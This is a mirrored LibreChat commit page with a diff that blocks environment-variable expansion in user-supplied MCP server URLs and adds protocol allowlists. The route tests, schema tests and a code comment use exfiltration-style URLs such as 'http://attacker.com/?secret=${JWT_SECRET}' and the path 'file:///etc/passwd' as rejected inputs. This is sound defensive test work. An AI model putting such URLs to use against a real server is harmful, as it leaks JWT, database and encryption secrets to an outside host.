mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-03-15 12:16:33 +01:00
🔏 fix: MCP Server URL Schema Validation (#12204)
* fix: MCP server configuration validation and schema - Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes. - Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks. - Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application. * fix: MCP URL validation to reject env variable references - Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks. - Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs. - Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application. * test: Enhance MCPServerUserInputSchema tests for environment variable handling - Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema. - Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks. - Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
This commit is contained in:
parent
65b0bfde1b
commit
f32907cd36
3 changed files with 269 additions and 3 deletions
|
|
@ -1819,6 +1819,51 @@ describe('MCP Routes', () => {
|
||||||
expect(response.body.message).toBe('Invalid configuration');
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should reject SSE URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject streamable-http URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject websocket URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 500 when registry throws error', async () => {
|
it('should return 500 when registry throws error', async () => {
|
||||||
const validConfig = {
|
const validConfig = {
|
||||||
type: 'sse',
|
type: 'sse',
|
||||||
|
|
@ -1918,6 +1963,51 @@ describe('MCP Routes', () => {
|
||||||
expect(response.body.errors).toBeDefined();
|
expect(response.body.errors).toBeDefined();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should reject SSE URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject streamable-http URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'http://attacker.com/?key=${CREDS_KEY}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject websocket URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 500 when registry throws error', async () => {
|
it('should return 500 when registry throws error', async () => {
|
||||||
const validConfig = {
|
const validConfig = {
|
||||||
type: 'sse',
|
type: 'sse',
|
||||||
|
|
|
||||||
147
packages/data-provider/specs/mcp.spec.ts
Normal file
147
packages/data-provider/specs/mcp.spec.ts
Normal file
|
|
@ -0,0 +1,147 @@
|
||||||
|
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
|
||||||
|
|
||||||
|
describe('MCPServerUserInputSchema', () => {
|
||||||
|
describe('env variable exfiltration prevention', () => {
|
||||||
|
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
|
||||||
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||||
|
const adminResult = SSEOptionsSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||||||
|
});
|
||||||
|
expect(adminResult.success).toBe(true);
|
||||||
|
if (adminResult.success) {
|
||||||
|
expect(adminResult.data.url).toContain('leaked-secret-value');
|
||||||
|
}
|
||||||
|
delete process.env.FAKE_SECRET;
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject the same URL through user input schema', () => {
|
||||||
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||||
|
const userResult = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||||||
|
});
|
||||||
|
expect(userResult.success).toBe(false);
|
||||||
|
delete process.env.FAKE_SECRET;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('env variable rejection', () => {
|
||||||
|
it('should reject SSE URLs containing env variable patterns', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject streamable-http URLs containing env variable patterns', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject WebSocket URLs containing env variable patterns', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('protocol allowlisting', () => {
|
||||||
|
it('should reject file:// URLs for SSE', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'file:///etc/passwd',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject ftp:// URLs for streamable-http', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'ftp://internal-server/data',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject http:// URLs for WebSocket', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'http://example.com/ws',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject ws:// URLs for SSE', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'ws://example.com/sse',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('valid URL acceptance', () => {
|
||||||
|
it('should accept valid https:// SSE URLs', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'https://mcp-server.com/sse',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
if (result.success) {
|
||||||
|
expect(result.data.url).toBe('https://mcp-server.com/sse');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid http:// SSE URLs', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://mcp-server.com/sse',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid wss:// WebSocket URLs', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'wss://mcp-server.com/ws',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
if (result.success) {
|
||||||
|
expect(result.data.url).toBe('wss://mcp-server.com/ws');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid ws:// WebSocket URLs', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://mcp-server.com/ws',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid https:// streamable-http URLs', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'https://mcp-server.com/http',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
if (result.success) {
|
||||||
|
expect(result.data.url).toBe('https://mcp-server.com/http');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
|
||||||
|
const result = MCPServerUserInputSchema.safeParse({
|
||||||
|
type: 'http',
|
||||||
|
url: 'http://mcp-server.com/mcp',
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
||||||
oauth_headers: true,
|
oauth_headers: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const envVarPattern = /\$\{[^}]+\}/;
|
||||||
|
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
|
||||||
|
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
|
||||||
|
* and validates protocol constraints without resolving environment variables.
|
||||||
|
*/
|
||||||
|
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
|
||||||
|
z
|
||||||
|
.string()
|
||||||
|
.refine((val) => !envVarPattern.test(val), {
|
||||||
|
message: 'Environment variable references are not allowed in URLs',
|
||||||
|
})
|
||||||
|
.pipe(z.string().url())
|
||||||
|
.refine(protocolCheck, { message });
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* MCP Server configuration that comes from UI/API input only.
|
* MCP Server configuration that comes from UI/API input only.
|
||||||
* Omits server-managed fields like startup, timeout, customUserVars, etc.
|
* Omits server-managed fields like startup, timeout, customUserVars, etc.
|
||||||
|
|
@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
||||||
* Stdio allows arbitrary command execution and should only be configured
|
* Stdio allows arbitrary command execution and should only be configured
|
||||||
* by administrators via the YAML config file (librechat.yaml).
|
* by administrators via the YAML config file (librechat.yaml).
|
||||||
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
|
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
|
||||||
|
*
|
||||||
|
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
|
||||||
|
* extractEnvVariable transform to prevent env variable exfiltration
|
||||||
|
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
|
||||||
|
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
|
||||||
|
* file://, ftp://, javascript:, and other non-network schemes.
|
||||||
*/
|
*/
|
||||||
export const MCPServerUserInputSchema = z.union([
|
export const MCPServerUserInputSchema = z.union([
|
||||||
omitServerManagedFields(WebSocketOptionsSchema),
|
omitServerManagedFields(WebSocketOptionsSchema).extend({
|
||||||
omitServerManagedFields(SSEOptionsSchema),
|
url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
|
||||||
omitServerManagedFields(StreamableHTTPOptionsSchema),
|
}),
|
||||||
|
omitServerManagedFields(SSEOptionsSchema).extend({
|
||||||
|
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
|
||||||
|
}),
|
||||||
|
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
|
||||||
|
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
|
||||||
|
}),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
|
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue